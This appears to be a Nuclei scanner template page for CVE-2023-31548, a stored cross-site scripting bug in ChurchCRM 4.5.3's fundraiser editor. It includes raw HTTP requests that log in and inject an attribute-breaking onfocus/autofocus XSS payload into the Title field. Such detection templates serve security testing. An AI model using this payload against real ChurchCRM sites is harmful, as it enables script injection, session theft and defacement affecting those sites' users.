ChurchCRM v4.5.3 - Cross-Site Scripting

ID: CVE-2023-31548

Severity: medium

Author: Harsh

Tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

Description

A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

YAML Source

id: CVE-2023-31548

info:
  name: ChurchCRM v4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31548
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-31548
    cwe-id: CWE-79
    epss-score: 0.00089
    epss-percentile: 0.37968
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and
# digest: 4a0a00473045022040da3bd96956d0ec0e2fb8a6a3f7fc946d63a9307475a60f47cb87525f9af433022100c3869d61c2faa981ab498f8c4db7784a6724984b1fde06c0f3a1fa8a47e7ae20:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-31548.yaml"

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